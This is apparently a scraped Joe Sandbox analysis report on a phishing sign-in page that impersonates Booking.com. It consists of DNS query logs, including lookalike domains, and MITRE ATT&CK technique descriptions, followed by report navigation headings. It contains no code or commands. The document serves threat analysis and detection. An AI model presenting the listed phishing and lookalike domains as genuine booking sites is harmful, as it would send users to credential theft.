Source: global traffic	DNS traffic detected: DNS query: www.booking.com
Source: global traffic	DNS traffic detected: DNS query: h.online-metrix.net
Source: global traffic	DNS traffic detected: DNS query: h64.online-metrix.net
Source: global traffic	DNS traffic detected: DNS query: doregtzfefbr33clv6xcto5dvvpuig6dhu62so3k9d8e366b7ec51ed9sac.d.aa.online-metrix.net
Source: global traffic	DNS traffic detected: DNS query: aa.online-metrix.net
Source: global traffic	DNS traffic detected: DNS query: booking.ck123.io
Source: global traffic	DNS traffic detected: DNS query: booking.gw-dv.vip
Source: global traffic	DNS traffic detected: DNS query: ls.cdn-gw-dv.vip
Source: global traffic	DNS traffic detected: DNS query: stun.12voip.com
Source: global traffic	DNS traffic detected: DNS query: stun.1und1.de
Source: global traffic	DNS traffic detected: DNS query: stun.aa.net.uk
Source: global traffic	DNS traffic detected: DNS query: stun.acrobits.cz
Source: global traffic	DNS traffic detected: DNS query: stun.actionvoip.com
Source: global traffic	DNS traffic detected: DNS query: stun.antisip.com
Source: global traffic	DNS traffic detected: DNS query: stun.bluesip.net
Source: global traffic	DNS traffic detected: DNS query: stun.cablenet-as.net
Source: global traffic	DNS traffic detected: DNS query: stun.callromania.ro
Source: global traffic	DNS traffic detected: DNS query: stun.l.google.com
Source: global traffic	DNS traffic detected: DNS query: stun.tel.lu
Source: global traffic	DNS traffic detected: DNS query: stun.telbo.com
Source: global traffic	DNS traffic detected: DNS query: stun.twt.it
Source: global traffic	DNS traffic detected: DNS query: stun.uls.co.za
Source: global traffic	DNS traffic detected: DNS query: stun.usfamily.net
Source: global traffic	DNS traffic detected: DNS query: stun1.l.google.com
Source: global traffic	DNS traffic detected: DNS query: stun2.l.google.com
Source: global traffic	DNS traffic detected: DNS query: stun3.l.google.com
Source: global traffic	DNS traffic detected: DNS query: stun4.l.google.com
Source: global traffic	DNS traffic detected: DNS query: cdn.cookielaw.org
Source: global traffic	DNS traffic detected: DNS query: xx.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: q.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: collector-pxikkul2rm.px-cloud.net
Source: global traffic	DNS traffic detected: DNS query: account.booking.com
Source: global traffic	DNS traffic detected: DNS query: cf.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: www.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: saa.booking.com
Source: global traffic	DNS traffic detected: DNS query: q-xx.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: d8c14d4960ca.edge.sdk.awswaf.com
Source: global traffic	DNS traffic detected: DNS query: nellie.booking.com
Source: global traffic	DNS traffic detected: DNS query: d8c14d4960ca.d2eb2267.us-east-1.token.awswaf.com
Source: global traffic	DNS traffic detected: DNS query: geolocation.onetrust.com
Source: global traffic	DNS traffic detected: DNS query: doregtzf5ebkfwgr3cpglagb72suuseqjxlah7jgd9fe95023d324584sac.d.aa.online-metrix.net
Source: global traffic	DNS traffic detected: DNS query: r.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: partner.booking.com
Source: global traffic	DNS traffic detected: DNS query: bstatic.com
Source: global traffic	DNS traffic detected: DNS query: munchkin.marketo.net
Source: global traffic	DNS traffic detected: DNS query: rtp-static.marketo.com
Source: global traffic	DNS traffic detected: DNS query: www.googleoptimize.com
Source: global traffic	DNS traffic detected: DNS query: lonrtp1.marketo.com
Source: global traffic	DNS traffic detected: DNS query: try.abtasty.com
Source: global traffic	DNS traffic detected: DNS query: cdn.evgnet.com
Source: global traffic	DNS traffic detected: DNS query: zn3eum1ldyl0aih0i-partnersatbooking.siteintercept.qualtrics.com
Source: global traffic	DNS traffic detected: DNS query: chat.kindlycdn.com
Source: global traffic	DNS traffic detected: DNS query: cdn.spinnaker-js.com
Source: global traffic	DNS traffic detected: DNS query: apil1.spinnaker-js.com
Source: global traffic	DNS traffic detected: DNS query: dcinfos-cache.abtasty.com
Source: global traffic	DNS traffic detected: DNS query: ariane.abtasty.com
Source: global traffic	DNS traffic detected: DNS query: bookingdotcomb2b.germany-2.evergage.com
Source: global traffic	DNS traffic detected: DNS query: zn09tjwjvephllacp-partnersatbooking.siteintercept.qualtrics.com
Source: global traffic	DNS traffic detected: DNS query: siteintercept.qualtrics.com
Source: global traffic	DNS traffic detected: DNS query: sage.kindly.ai
Source: global traffic	DNS traffic detected: DNS query: doregtzfn74qusm57gonvfgshkv6p2r76un7bsic9508ecaba7cf30c8sac.d.aa.online-metrix.net

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://hotel-id637438.eu/sign-in

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 267

Chrome Cache Entry: 268

Chrome Cache Entry: 269

Chrome Cache Entry: 270

Chrome Cache Entry: 271

Chrome Cache Entry: 272

Chrome Cache Entry: 273

Chrome Cache Entry: 274

Chrome Cache Entry: 275

Chrome Cache Entry: 276

Chrome Cache Entry: 277

Chrome Cache Entry: 278

Chrome Cache Entry: 279

Chrome Cache Entry: 280

Chrome Cache Entry: 281

Chrome Cache Entry: 282

Chrome Cache Entry: 283

Chrome Cache Entry: 284

Chrome Cache Entry: 285

Chrome Cache Entry: 286

Chrome Cache Entry: 287

Chrome Cache Entry: 288

Chrome Cache Entry: 289

Chrome Cache Entry: 290

Chrome Cache Entry: 291

Chrome Cache Entry: 292

Windows Analysis Report
https://hotel-id637438.eu/sign-in